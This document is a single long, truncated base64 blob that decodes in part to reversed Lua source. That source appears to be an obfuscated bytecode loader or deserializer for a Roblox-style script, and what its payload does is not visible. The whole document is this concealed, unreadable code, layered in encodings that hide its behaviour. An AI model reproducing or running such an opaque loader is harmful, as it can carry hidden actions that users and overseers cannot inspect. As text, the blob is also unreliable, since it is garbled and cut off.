FwwNVw5NFwyOFw5NFwyMTFcNDRcOTRcOTRcMjhcOTRcMjExXDQ0XDg0XDk0XDI4XDk0XDIxMVw0NFwwNVw4NFwyOFw5NFwyMTFcNDRcOTRcODRcMjhcOTRcMjExXDQ0XDg0XDg0XDI4XDk0XDIxMVw0NFwyMjFcOTRcMjExXDQ0XDEyMVw5NFwyMTFcNDRcMDIxXDk0XDIxMVwyM1w4MDFcNzlcOTlcMTExXDgwMVw5XDAxXDMxXDE0XDYxMVwwMTFcMTAxXDk5XDQxMVwxMDFcMjExXDQ0XDA1XDIxMVw0NFw5NFwyMTFcMDRcMjExXDQxMVwxMDFcODAxXDk5XDIzXDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwwMVwzMVwwMVwzMVwwMDFcMDExXDEwMVwwMVwzMVwwMDFcMDExXDEwMVw5XDAxXDMxXDAwMVwwMTFcMTAxXDlcOVwwMVwzMVwxNFwwMDFcMDExXDEwMVw5XDlcOVwwMVwzMVwwMDFcMDExXDEwMVw5XDlcOVw5XDAxXDMxXDE0XDA0XDYxMVw1MDFcNzlcOTExXDg1XDYxMVw3OVwxMDFcODlcNjExXDQxMVw3OVwxMDFcMjdcNjRcMTRcNDNcMTAxXDk5XDUwMVw4MTFcNDExXDEwMVwzOFwwMTFcNzExXDI4XDQzXDA0XDEwMVw5OVw1MDFcODExXDQxMVwxMDFcMzhcNjExXDEwMVwxN1w4NVwxMDFcOTAxXDc5XDMwMVw5XDlcOVw5XDlcMDFcMzFcMTRcNTAxXDQ0XDUwMVw0NFw1MDFcMDRcOTExXDEwMVwwMTFcNjRcMTVcNDExXDExMVw4MDFcMTExXDc2XDIzXDE2XDIzXDQxMVwxMTFcODAxXDExMVw3Nlw2NFw4MDFcNTAxXDc5XDQ4XDlcOVw5XDlcOVwwMVwzMVwxMTFcMDAxXDIzXDM1XDA1XDg0XDY0XDU0XDQ0XDg0XDIzXDQ0XDk0XDIzXDE2XDIzXDUwMVwyM1w0MTFcMTExXDIwMVw5XDlcOVw5XDAxXDMxXDE0XDA0XDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwwNFwwMTFcOTExXDc5XDIxMVw1MTFcOVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDg5XDQxMVw5N1wwMTFcNTAxXDk2XDY0XDUxMVwzMDFcMDExXDUwMVw2MTFcNjExXDEwMVwzOFwyM1wyMDFcNTAxXDlcOVwwMVwzMVwxNFw4MDFcNTAxXDc5XDQ4XDIzXDQ0XDUxMVw2MTFcNDExXDc5XDA4XDgwMVw1MDFcNzlcNDExXDQ4XDA0XDYxMVw0MTFcMTAxXDUxMVwwMTFcNTAxXDY0XDEwMVw4MDFcODlcNzlcNjExXDlcOVwwMVwzMVwxNFw4MDFcNTAxXDc5XDQ4XDIzXDQ0XDQzXDYxMVw0MDFcMzAxXDUwMVw2N1w2MTFcMDExXDUwMVwxMTFcMDhcNDNcMDRcOTExXDEwMVwwMTFcNjRcMTAxXDk5XDAxMVw3OVw2MTFcNTExXDAxMVwzN1w5XDlcMDFcMzFcODRcOTRcMjNcMTZcMjNcMTAxXDk5XDc5XDIwMVw0MTFcNzExXDM4XDkwMVwxMTFcNjExXDYxMVwxMTFcNjZcNjRcODAxXDUwMVw3OVw0OFw5XDlcMDFcMzFcNDNcMDExXDExMVwxMDFcODdcNDNcMjNcMTZcMjNcODAxXDc5XDUwMVw0MTFcMTAxXDYxMVw3OVw3N1w2NFw4MDFcNTAxXDc5XDQ4XDlcOVwwMVwzMVw4NFw5NFwyM1wxNlwyM1wxMDFcOTlcNzlcMjAxXDQxMVw3MTFcMzhcMjExXDExMVw0OFw2NFw4MDFcNTAxXDc5XDQ4XDlcOVwwMVwzMVwxMDFcOTAxXDc5XDQxMVwwN1w3Nlw2NFw4OVw0MTFcOTdcMjNcMTZcMjNcMTAxXDkwMVw3OVw0MTFcMDdcNzZcNjRcODAxXDUwMVw3OVw0OFw5XDlcMDFcMzFcMTRcMDVcNjRcNDRcMDVcNjRcNDRcMDVcNjRcMDRcOTExXDEwMVwwMTFcNjRcMTVcNDExXDExMVw2MTFcOTlcMTAxXDY4XDIzXDE2XDIzXDEwMVwyMjFcNTAxXDM4XDY0XDgwMVw1MDFcNzlcNDhcOVw5XDAxXDMxXDQzXDkwMVwxMTFcNjExXDUxMVw3MTFcNzZcNDNcMjNcMTZcMjNcNDExXDExMVw2MTFcOTlcNzlcMDdcOTAxXDQxMVwxMTFcMDdcNjRcODAxXDUwMVw3OVw0OFw1NFw1NFw5XDlcMDFcMzFcMTAxXDcxMVw0MTFcNjExXDIzXDE2XDIzXDAwMVwxMDFcNzAxXDk5XDExMVw2N1w2NFw4MDFcNTAxXDc5XDQ4XDlcOVwwMVwzMVwxMDFcNTExXDgwMVw3OVwyMDFcMjNcMTZcMjNcMTAxXDAwMVw1MDFcODAxXDgwMVwxMTFcNzZcMDExXDc5XDc2XDY0XDgwMVw1MDFcNzlcNDhcOVw5XDAxXDMxXDEwMVw3MTFcNDExXDYxMVwyM1wxNlwyM1wwMDFcMTAxXDQxMVwxMTFcNDAxXDk5XDAxMVw1Nlw2NFw4MDFcNTAxXDc5XDQ4XDlcOVwwMVwzMVw5NFw2NFwyM1wxNlwyM1wxMjFcOTlcMDExXDEwMVw0MTFcNzlcMjExXDUxMVwwMTFcNzlcNDExXDQ4XDY0XDgwMVw1MDFcNzlcNDhcOVw5XDAxXDMxXDQxMVwxMTFcODAxXDExMVw3Nlw4MDFcNTAxXDc5XDQxMVw0OFw2NFw1MTFcMzAxXDAxMVw1MDFcNjExXDYxMVwxMDFcMzhcMjNcMTZcMjNcNDExXDExMVw4MDFcMTExXDc2XDcwMVw5OVw1MDFcNDExXDY2XDY0XDgwMVw1MDFcNzlcNDhcOVw5XDAxXDMxXDE0XDg5XDQxMVw5N1wyM1w0NFw5M1w2MTFcNDExXDc5XDA4XDkzXDA0XDkxMVwxMDFcMDExXDY0XDEwMVw5OVwwMTFcNzlcNjExXDUxMVwwMTFcMzdcMjNcMTZcMjNcODAxXDUwMVw3OVw0OFwyM1w4MDFcNzlcOTlcMTExXDgwMVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDEwMVw3MTFcNDExXDYxMVwyM1wxNlwxNlwyM1w4MDFcNTAxXDc5XDQxMVw0OFw2NFw1MTFcMzAxXDAxMVw1MDFcNjExXDYxMVwxMDFcMzhcMjNcMDAxXDAxMVw3OVwyM1w4MDFcNTAxXDAxMVwyM1wxNlw2MjFcMjNcODlcNDExXDk3XDIzXDIwMVw1MDFcOVwwMVwzMVwxNFwwNFwwMTFcMTExXDUwMVw2MTFcOTlcMDExXDcxMVwyMDFcMjNcMTZcMjNcODAxXDUwMVw3OVw0MTFcNjExXDAxMVw5MTFcNzlcMjExXDM4XDAxXDMxXDAxXDMxXDE0XDAwMVwwMTFcMTAxXDAxXDMxXDAwMVwwMTFcMTAxXDlcMDFcMzFcMDAxXDAxMVwxMDFcOVw5XDAxXDMxXDE0XDA0XDg5XDQxMVwxMTFcMDExXDkxMVw3OVwyMTFcMzhcOVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDgwMVw1MDFcMDExXDE2XDE2XDYxMVwwMTFcMTAxXDQxMVw3OVwwOFw2NFw4OVw0MTFcOTdcMjNcMjAxXDUwMVw5XDlcMDFcMzFcMTExXDAwMVwyM1wxNFw5NFwwNFw2MTFcNTAxXDc5XDkxMVwyM1wxMDFcODAxXDUwMVw0MDFcOTExXDlcMDFcMzFcMTRcMDRcMDExXDExMVw1MDFcNjExXDk5XDAxMVw3MTFcMjAxXDA0XDAxMVw5MTFcNzlcMjExXDUxMVwwMVwzMVwwMVwzMVwxNFwwNFw4OVw0MTFcMTExXDAxMVw5MTFcNzlcMjExXDM4XDk1XDAwMVwwMTFcMTAxXDAxXDMxXDE0XDAwMVwwMTFcMTAxXDlcMDFcMzFcMDAxXDAxMVwxMDFcOVw5XDAxXDMxXDE0XDA0XDg5XDQxMVwxMTFcMDExXDkxMVw3OVwyMTFcMzhcOVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDE0XDEwMVw5MDFcNzlcODdcNjRcODlcNDExXDk3XDA0XDAwMVw4MDFcNTAxXDQwMVw3Nlw2MTFcNTExXDQxMVw1MDFcMDdcMDAxXDAxMVw1MDFcMDdcODVcMTAxXDk5XDc5XDIxMVw1MTFcNzAxXDQxMVwxMTFcOTExXDIzXDYxMVwxMTFcMDExXDIzXDIwMVw1MDFcOVw5XDAxXDMxXDE0XDA0XDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwwNFw2MTFcOTlcMTAxXDAxMVwwMTFcMTExXDk5XDg1XDAwMVwxMDFcMzAxXDAxMVw3OVw0MDFcNzZcNjRcODlcNDExXDk3XDlcMDFcMzFcNDNcNjExXDQxMVw3OVwwOFw0M1wyM1wxNlwyM1wxMDFcOTAxXDc5XDg3XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDQzXDk5XDUwMVw2MTFcNTExXDc5XDgwMVwwOFw0M1wyM1wxNlwyM1w4MDFcNzlcNTAxXDQxMVwxMDFcNjExXDc5XDc3XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDg0XDk0XDIzXDE2XDIzXDEwMVw5OVw3OVwyMDFcNDExXDcxMVwzOFw5MDFcMTExXDYxMVw2MTFcMTExXDY2XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDg0XDk0XDIzXDE2XDIzXDEwMVw5OVw3OVwyMDFcNDExXDcxMVwzOFwyMTFcMTExXDQ4XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDE0XDk0XDQ0XDk0XDQ0XDk0XDA0XDkxMVwxMDFcMDExXDY0XDE1XDQxMVwxMTFcNjExXDk5XDEwMVw2OFwyM1wxNlwyM1wxMDFcMjIxXDUwMVwzOFw2NFw4OVw0MTFcOTdcOVwwMVwzMVw0M1w4MDFcODAxXDc5XDY2XDQzXDIzXDE2XDIzXDEwMVwyMTFcNzlcNDAxXDM4XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDQzXDk5XDUwMVw0MTFcNjExXDEwMVw5MDFcOTAxXDEyMVwzOFw0M1wyM1wxNlwyM1w0MTFcMTExXDYxMVw5OVw3OVwwN1w5MDFcNDExXDExMVwwN1w2NFw4OVw0MTFcOTdcNTRcNTRcOVwwMVwzMVwxMDFcNzExXDQxMVw2MTFcMjNcMTZcMjNcMDAxXDEwMVw3MDFcOTlcMTExXDY3XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDEwMVw1MTFcODAxXDc5XDIwMVwyM1wxNlwyM1wxMDFcMDAxXDUwMVw4MDFcODAxXDExMVw3NlwwMTFcNzlcNzZcNjRcODlcNDExXDk3XDlcMDFcMzFcMTAxXDcxMVw0MTFcNjExXDIzXDE2XDIzXDAwMVwxMDFcNDExXDExMVw0MDFcOTlcMDExXDU2XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDE1XDY0XDIzXDE2XDIzXDEyMVw5OVwwMTFcMTAxXDQxMVw3OVwyMTFcNTExXDAxMVw3OVw0MTFcNDhcNjRcODlcNDExXDk3XDlcMDFcMzFcMTRcMDRcMTAxXDYxMVw1MDFcNDAxXDc4XDY0XDQxMVwxMTFcODAxXDExMVw3Nlw3MDFcOTlcNTAxXDQxMVw2NlwyM1wxNlwyM1w0MTFcMTExXDgwMVwxMTFcNzZcNzAxXDk5XDUwMVw0MTFcNjZcNjRcODlcNDExXDk3XDlcMDFcMzFcMTRcMTAxXDk5XDc5XDIxMVw1MTFcNzAxXDQxMVwxMTFcOTExXDIzXDQ0XDkzXDYxMVw0MTFcNzlcMDhcOTNcMDRcOTExXDEwMVwwMTFcNjRcMTAxXDk5XDAxMVw3OVw2MTFcNTExXDAxMVwzN1wyM1wxNlwyM1w4OVw0MTFcOTdcOVwwMVwzMVwwMDFcMDExXDEwMVw5XDAxXDMxXDE0XDAwMVwwMTFcMTAxXDlcOVwwMVwzMVwxNFwwNFwxMjFcMTExXDQxMVw2MTFcNTExXDEwMVw4Nlw4NVw4OVw0MTFcOTdcOVw5XDlcMDFcMzFcMTRcMDRcMDExXDExMVw1MDFcNjExXDk5XDAxMVw3MTFcMjAxXDA0XDgwMVw4MDFcNzlcOTlcMjExXDlcOVwwMVwzMVwxNFwwMDFcMDExXDEwMVw5XDlcMDFcMzFcMTRcMDRcMDExXDEwMVw0MTFcMDAxXDgwMVw1MDFcNDAxXDc2XDgwMVw4MDFcNTZcNDExXDc5XDEwMVw4MDFcNzZcODVcODlcNDExXDk3XDlcOVw5XDAxXDMxXDE0XDA0XDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwwNFw4MDFcODAxXDc5XDk5XDIxMVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDgwMVw1MDFcMDExXDIzXDE2XDYyMVwyM1w4OVw0MTFcOTdcMjNcMjAxXDUwMVw5XDAxXDMxXDE0XDA0XDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwyM1wxNlwyM1w4OVw0MTFcMTExXDAxMVw5MTFcNzlcMjExXDM4XDAxXDMxXDgwMVw1MDFcMDExXDIzXDE2XDIzXDYxMVwwMTFcMTAxXDQxMVw3OVwwOFw2NFw2MTFcMjExXDUwMVw0MTFcOTlcNTExXDAxXDMxXDUyMVwzMjFcMjNcMTZcMjNcNTExXDYxMVw0MTFcNzlcMDhcODAxXDUwMVw3OVw0MTFcNDhcMjNcODAxXDc5XDk5XDExMVw4MDFcMDFcMzFcMDFcMzFcMjNcNTIxXDAxXDMxXDA1XDg0XDY0XDIzXDE2XDIzXDM5XDQzXDAwMVwxMDFcMTAxXDIxMVwzOFw0M1wxOVw5XDAxXDMxXDlcMDFcMzFcNDRcMTAxXDcxMVw0MTFcNjExXDIzXDE2XDIzXDM5XDQzXDg5XDQxMVw5N1wwMTFcNTAxXDk2XDQzXDE5XDlcMDFcMzFcOVwwMVwzMVw0NFw3NVwyM1wxNlwyM1wzOVw0M1w4NlwzN1wxMTFcNTAxXDAwMVw3MTFcNTZcNDNcMTlcOVwwMVwzMVw5XDAxXDMxXDQ0XDM1XDY0XDIzXDE2XDIzXDM5XDQzXDEwMVw5OVwwMTFcNzExXDExMVw2Nlw0M1wxOVw5XDAxXDMxXDQ0XDY1XDIzXDE2XDIzXDM5XDQzXDYxMVw0MDFcMzAxXDUwMVwxMDFcMjdcNDNcMTlcOVwwMVwzMVw0NFw4NFw5NFwyM1wxNlwyM1wzOVw0M1w1MTFcNzExXDUwMVwwMDFcNzlcMjhcNDNcMTlcOVwwMVwzMVw5XDAxXDMxXDQ0XDE0XDA0XDEwMVw2MTFcNTAxXDQwMVw3OFw2NFw0MTFcMTExXDgwMVwxMTFcNzZcNzAxXDk5XDUwMVw0MTFcNjZcMjNcMTZcMjNcMzlcNDNcNDExXDExMVw4MDFcMTExXDc2XDgwMVw1MDFcNzlcNDExXDQ4XDQzXDE5XDlcMDFcMzFcNDRcMTAxXDcxMVw0MTFcNjExXDIzXDE2XDIzXDM5XDQzXDgwMVw1MDFcNzlcNDExXDQ4XDQzXDE5XDlcMDFcMzFcMzIxXDIzXDE2XDIzXDUxMVwzMDFcMDExXDUwMVw2MTFcNjExXDEwMVwzOFwyM1w4MDFcNzlcOTlcMTExXDgwMVwwMVwzMVwwMVwzMVw4MDFcNTAxXDAxMVwyM1wxNlwyM1w4OVw0MTFcOTdcMjNcODAxXDc5XDk5XDExMVw4MDFcMDFcMzFcODAxXDUwMVwwMTFcMjNcMTZcMjNcNDExXDEwMVw2MTFcOTlcNzlcNDExXDc5XDQwMVw3NlwyM1w4MDFcNzlcOTlcMTExXDgwMVwwMVwzMVwzOVw5M1wwXDBcMzFcMzAyXDdcOTNcMTlcMTRcNDNcNTExXDQxMVwxMDFcMTIxXDc5XDgwMVwwOFw0M1wwNFwxMDFcOTlcNTAxXDgxMVw0MTFcMTAxXDM4XDYxMVwxMDFcMTdcODVcMTAxXDkwMVw3OVwzMDFcMjNcMTZcMjNcNDExXDEwMVwwMTFcOTExXDk3XDIzXDgwMVw3OVw5OVwxMTFcODAxXDAxXDMxXDE0XDA0XDYxMVw1MDFcNzlcOTExXDBcMFwwXDA1XDdcOFw4MVwzM1wxMjFcODAxXDgwMVw3MTFcMjAxXDUxMVw1MTFcMTAxXDk5XDk5XDcxMVw1MTFcMjNcMDExXDc5XDI4XDBcMFwwXDcxXDdcMjhcOTZcNjhcMjhcOTZcMzhcMFwwXDBcNlw3XDI4XDk3XDI4XDI4XDk2XDBcMFwwXDVcN1w2NFw2NFw2NFwwMDFcMDExXDc5XDkwMVw5MDFcMTExXDk5XDIzXDEwMVw4MDFcMTExXDUxMVwwMTFcMTExXDk5XDIzXDMwMVwwMTFcNTAxXDUxMVw0MTFcNzlcMDhcMFwwXDBcNjJcN1wxNlwwMDFcNTAxXDM2XDEyMVw0MTFcMTExXDYxMVwwMTFcMTAxXDgxMVwwMTFcNTAxXDc0XDA1XDM1XDg0XDA1XDg1XDUxMVw3MTFcODAxXDIxMVw2NFwwMjFcMTExXDgwMVw4OVwxMTFcNDExXDc0XDc0XDg1XDIxMVw2MTFcNjExXDQwMVwwXDBcMFw3M1w3XDAwMVwxMDFcMDAxXDc5XDExMVw2N1wyM1wxMjFcODAxXDgwMVw3MTFcMjAxXDUxMVwxMDFcOTlcOTlcNzExXDM4XDIzXDYxMVw3MTFcMjExXDYxMVw3MTFcOTdcMjNcMDExXDExMVw1MDFcNjExXDcxMVw4MDFcMTExXDUxMVw4OVw1NlwwXDBcMFw2M1w3XDAwMVwxMDFcNDExXDc5XDEwMVw4MDFcNzZcMjNcNjExXDcxMVwyMTFcNjExXDcxMVw5N1wyM1wwMTFcMTExXDUwMVw2MTFcNzExXDgwMVwxMTFcNTExXDg5XDU2XDBcMFwwXDUyXDdcNzZcOVwzNTFcMzUxXDM1MVwzNTFcMzUxXDQ1MVw2XDAxMVwxMTFcNTAxXDYxMVw3OVw5MDFcNTAxXDAxMVw3OVwwXDBcMFw5XDdcNDExXDExMVw2MTFcOTlcNzlcMjAxXDkwMVw0MTFcMTExXDIwMVwwXDBcMFwwMVw3XDAwMVwxMDFcNjExXDc5XDk5XDEwMVw0MTFcMjExXDEwMVwwMDFcMFwwXDBcMDFcN1wxMDFcOTlcNTAxXDgxMVw0MTFcMTAxXDM4XDMwMVwxMTFcNjdcMFwwXDBcMDFcN1w3Nlw4Mlw0MDJcNDAyXDQwMlw0MDJcNDAyXDUwMlw2XDUxMVw3M1wyM1wwXDBcMFwzXDdcMlw4MVw4MDFcMTAxXDg5XDc5XDY3XDYxMVwwMjFcMTAxXDQ4XDBcMFwwXDlcN1w3Nlw2MVwwXDBcMFwwXDBcMFw2XDM0XDBcMFwwXDFcN1w3NlwwNFwwXDBcMFwwXDBcMFw2XDAwMVw3OVw3MTFcMThcMFwwXDBcNFw3XDYxMVw3MTFcOTdcMFwwXDBcM1w3XDFcNDRcM1w1XDgxXDk0XDA1XDA1XDA1XDQ1XDE1XDY1XDM1XDk0XDc0XDc0XDg1XDAwMVw1MDFcNjExXDEwMVw1MTFcNTExXDc5XDAyMVw4OVw0MTFcMFwwXDBcMjJcN1w1NVw4NFwxNVwwNVw0NVwxNVw2NVwzNVw5NFw3NFw3NFw4NVwwMDFcNTAxXDYxMVwxMDFcNTExXDUxMVw3OVwwMjFcODlcNDExXDBcMFwwXDIyXDdcMjVcNDVcMDVcMDVcNDVcMTVcNjVcMzVcOTRcNzRcNzRcODVcMDAxXDUwMVw2MTFcMTAxXDUxMVw1MTFcNzlcMDIxXDg5XDQxMVwwXDBcMFwyMlw3XDNcODFcMTAxXDkwMVw3OVw0MTFcMDdcMzAxXDAxMVw1MDFcODAxXDgwMVwxMTFcNDExXDk5XDM4XDBcMFwwXDQxXDdcMlw4OFwzXDY2XDk0MlwzNTFcMzUxXDM1MVwzNTFcMzUxXDQ1MVw2XDEwMVw5MDFcNzlcNDExXDA3XDBcMFwwXDVcN1w1NFwwXDBcMFwxXDdcMTAxXDUxMVwxMTFcODAxXDc2XDAxMVwxMDFcMjExXDk3XDBcMFwwXDlcN1w2MTFcNDAxXDMwMVw1MDFcMjhcMFwwXDBcNVw3XDUyXDgxXDQxMVw3OVwxMDFcODAxXDc2XDBcMFwwXDVcN1w3Nlw5MVwxNVwxNVwxNVwxNVwxNVwxNVw2XDc2XDkxXDUxMlwwMVwxNlwyMTFcMzYxXDUxMlw2XDYxMVwyMDFcMTAxXDY3XDBcMFwwXDRcN1w2MTFcNzExXDIxMVw2MTFcNzExXDk3XDIzXDAxMVwxMTFcNTAxXDYxMVw3MTFcODAxXDExMVw1MTFcODlcNTZcMFwwXDBcNzFcN1wxXDgxXDIxMVwxMTFcNDhcMFwwXDBcM1w3XDI1XDk0XDEwMVwyMjFcNTAxXDM4XDBcMFwwXDZcN1wwMDFcODAxXDExMVw2Nlw1MTFcMDExXDc5XDM4XDEwMVw5OVw0MTFcNzExXDExMVwzOFwwXDBcMFw0MVw3XDkyMVwzMDFcMjUyXDIyMlwyXDUxXDgxXDJcODRcM1w4MjFcNzFcNjExXDAyMVwxMDFcNDhcMDExXDUwMVw3OVw3N1wwXDBcMFw4XDdcMDExXDExMVw2MTFcNjExXDcxMVw2Nlw2MTFcMDIxXDEwMVw0OFwwXDBcMFwwMVw3XDM3XDU4XDE3XDIzXDYxMVw3MTFcMjExXDYxMVw3MTFcOTdcMjNcMDExXDExMVw1MDFcNjExXDcxMVw4MDFcMTExXDUxMVw4OVw1NlwwXDBcMFwxMlw3XDUwMVw3MTFcMTdcMDExXDEwMVwxMDFcNDExXDk5XDM4XDBcMFwwXDlcN1w2NDFcMDYxXDM0MVw2OVwyXDUwMVw3MTFcMTdcNDExXDEwMVwxMjFcNzlcODAxXDA4XDBcMFwwXDlcN1w1OVw0MTFcMTAxXDUxMVw3MTFcMFwwXDBcNVw3XDIyMVwxMDFcOTAxXDc5XDg3XDcwMVw5OVw1MDFcODdcMFwwXDBcOVw3XDEwMVw5OVw1MDFcODExXDQxMVwxMDFcMzhcMTAxXDQxMVwxMTFcNjExXDM4XDc5XDYxMVw3OVw4NlwwXDBcMFw2MVw3XCJkPWEgbGFjb2w7ZG5lIGxhIG5ydXRlcjtkbmUgMSt6YT16YTt5eT1demFbbGE7dm4rdmU9dmU7ZG5lKSkxLXZuK3ZlLHZlLGNkKHB5KHFtPXl5IGVzbGUpdmUsY2QocW09dm4seXkgbmVodCAwPHZuIGZpXWVkW2p5PXFtIGxhY29sO2RuZSBrYWVyYikidGFtcm9mIGRhYiIodG5pcnAgbmVodCB2biB0b24gZmldZWRbZGU9dm4gbGFjb2w7eXkgbGFjb2w7ZG5lIDErdmU9dmUpdmUsY2QocHk9ZWQgZXNsZV16YVtkYT1lZCBuZWh0IGRhIGZpO2VkIGxhY29sIG9kIGNuPHZlIGVsaWh3OzE9emEgbGFjb2w7Y2QjPWNuIGxhY29sOzE9dmUgbGFjb2x9ez1sYSBsYWNvbC4uLj1kYSxjZCBsYWNvbH0wLDQyLDEsMSwxLDIxLDYsNDIsOCwxLSwyLDEtLDIxLDEtLDgsNCw0LDIsNCwyez1kZSBsYWNvbH16eSxxZCxlcSxwZCxsaix5dix2YSx2eixqZCxjdixxbCxhZSx6bSxkcSxjcCxtZCxkdix6aixheSxseXs9ankgbGFjb2w7ZG5lIGxpbiBucnV0ZXIpKHp5IG5vaXRjbnVmIGxhY29sO2RuZSkpbHosemwsdnAsZG4sZGwseWQsdHosbmosbXYsenosY3kseWooem0sKXZuLGF0LGxkLG55LG1wLHBlLG15LHltLG1sLG52LHR5LHZ5KHptKGFxIG5ydXRlcilseix6bCx2cCxkbixkbCx5ZCx0eixuaixtdix6eixjeSx5aix2bixhdCxsZCxueSxtcCxwZSxteSx5bSxtbCxudix0eSx2eShxZCBub2l0Y251ZiBsYWNvbDtkbmUgeWogbnJ1dGVyKXlqKGVxIG5vaXRjbnVmIGxhY29sO2RuZSA4MjEtbmQgbnJ1dGVyKW5kKHBkIG5vaXRjbnVmIGxhY29sO2RuZSkpeW0oZSh0bSBucnV0ZXI7ZG5lKXBvVC5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDE9PmxkIGZpO2RuZSAyLWxkPWxkKW1vdHRvQi5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDI9PmxkIGZpO2RuZSA0LWxkPWxkKWtjYUIuZElsYW1yb04ucHAseW0oZWMgbmVodCA0PT5sZCBmaTtkbmUgOC1sZD1sZCl0bm9yRi5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDg9PmxkIGZpO2RuZSA2MS1sZD1sZCl0aGdpUi5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDYxPT5sZCBmaTtkbmUgMjMtbGQ9bGQpdGZlTC5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDIzPT5sZCBmaX17PXltIGxhY29sKWxkKGxqIG5vaXRjbnVmIGxhY29sO2RuZSkpanYsZG4obHksKXRhLHZwLHpxLHF2KG1kLCludixjZShseSwpZWUscGwscWEsZW0obWQocXogbnJ1dGVyKWp2LGRuLHRhLHZwLHpxLHF2LG52LGNlLGVlLHBsLHFhLGVtKHl2IG5vaXRjbnVmIGxhY29sO2RuZSkpYWQseWwobHksKXFtLHlkLG50LHRlKG1kKGx2IG5ydXRlcilhZCx5bCxxbSx5ZCxudCx0ZSh2YSBub2l0Y251ZiBsYWNvbDtkbmUpKWRjLHZ5LGxkLGF2LGFhLHpuLHFlLGx0LHB0LHlxLGVtLHFqKHptLCltbixxdCx5eixxcCxwbCxheixqdix5bCx5bSxwZSxuYSxsbih6bSh5YyBucnV0ZXIpZGMsdnksbGQsYXYsYWEsem4scWUsbHQscHQseXEsZW0scWosbW4scXQseXoscXAscGwsYXosanYseWwseW0scGUsbmEsbG4odnogbm9pdGNudWYgbGFjb2w7ZG5lKSlqbCxkYyxudCx5ZChtZCwpZXkscHosbWMsY3kobWQocGMgbnJ1dGVyKWpsLGRjLG50LHlkLGV5LHB6LG1jLGN5KGpkIG5vaXRjbnVmIGxhY29sO2RuZSBudiwpKWVtKGUocXEgbnJ1dGVyKW5lLHZ5LH0xLDUuMCwweywzKHluPW52LGVtIGxhY29sKW5lLHZ5KGN2IG5vaXRjbnVmIGxhY29sO2RuZSkpdHEsbXYoemoodmogbnJ1dGVyKXRxLG12KHFsIG5vaXRjbnVmIGxhY29sO2RuZSB5eSwpKW5sKGUodmwgbnJ1dGVyKWFtLGxkLH0xLSwxLDB7LDIxKHluPXl5LG5sIGxhY29sKWFtLGxkKGFlIG5vaXRjbnVmIGxhY29sO2RuZSBudi16cSxleSBucnV0ZXI7ZG5lIGRuZSBkbmUpXWpuW2V0LGV5KGVjIGVzbGUgNCt6cT16cSkpKTMrenEsenEsZGwocHkobWQsZXkoZWMgbmVodCAwPT1qbiBmaTsxJWpuLWpuPWpuOzQlbHpeIDUyLjAqbG49am4gbGFjb2wgb2QgamwsMD1seiByb2Y7ZG5lIDQlKTEtcWEoPWpsIG5laHQgeWQ9PXl6IGZpOzM9amwgbGFjb2wgb2QpbmwobiBuaSBsbix5eiByb2Y7eWQrenE9enE7enE9bnYgbGFjb2x9ez1leSBsYWNvbH0pMS15ZCt6cSx6cSxkbChweXs9bmwgbGFjb2wpNTIuMCpxYSh2dj15ZCBsYWNvbCl6cSxkbCxldCxxYSh5biBub2l0Y251ZiBsYWNvbDtkbmUpKXp2LHpuLGFkLGV5KG1kLClkYyxlZCxkeSxhdihtZCwpemwsbHAsYWoseWwobWQoZXYgbnJ1dGVyKXp2LHpuLGFkLGV5LGRjLGVkLGR5LGF2LHpsLGxwLGFqLHlsKHptIG5vaXRjbnVmIGxhY29sO2RuZSA0K3lsLCkzK3lsK21sLDQrbWwsbm0obmMgbnJ1dGVyKSkzK21sLG1sLG5tKHB5KGR2PXlsIGxhY29sKW1sLG5tKGRxIG5vaXRjbnVmIGxhY29sO2RuZSBkbmUgdHEgbnJ1dGVyIGVzbGUgdHEtbnJ1dGVyIG5laHQgODIxPT55ZSBmaTtkbmUpNDcwMS12biggXiAyKik2OTQwNzM3MjY5OTUzMDU0L2F2KyAxKD10cSBlc2xlIGRkPXRxIG5laHQgRkY3eDA9PXZuIGZpZXNsZSBkbmUpNDcwMS12biggXiAyPXRxIGVzbGUgdGQ9dHEgbmVodCBGRjd4MD09dm4gZmllc2xlIDA9dHEgbmVodCAwPT12biBmaSBuZWh0IDA9PWF2IGZpO3RxIGxhY29sOzYxKiA4MjEleWUrIDYxLyl5ai1keSg9dm4gbGFjb2w7NjUyKik2NTIqKTY1MiopNjUyKik2NTIqKTY1Mip5ait5ZCggK2xtKCArYWQoICt6eiggK3Z5KCAreXE9YXYgbGFjb2w7MDF4MCVkeT15aiBsYWNvbCl5ZSxkeSx5ZCxsbSxhZCx6eix2eSx5cShjcCBub2l0Y251ZiBsYWNvbDtkbmUgZG5lIHpwIG5ydXRlciBlc2xlIHpwLW5ydXRlciBuZWh0IDgyMT0+ZXkgZmk7ZG5lKTcyMS1tZSggXiAyKik4MDY4ODM4L3Z5KyAxKD16cCBlc2xlIGRkPXpwIG5laHQgNTUyPT1tZSBmaWVzbGUgZG5lKTcyMS1tZSggXiAyPXpwIGVzbGUgdGQ9enAgbmVodCBGRngwPT1tZSBmaWVzbGUgMD16cCBuZWh0IDA9PW1lIGZpIG5laHQgMD09dnkgZmk7enAgbGFjb2w7MiogODIxJWV5KyA4MjEvKW5hLXlsKD1tZSBsYWNvbDs2NTIqKTY1MipuYStscCggK3l0PXZ5IGxhY29sOzgyMSV5bD1uYSBsYW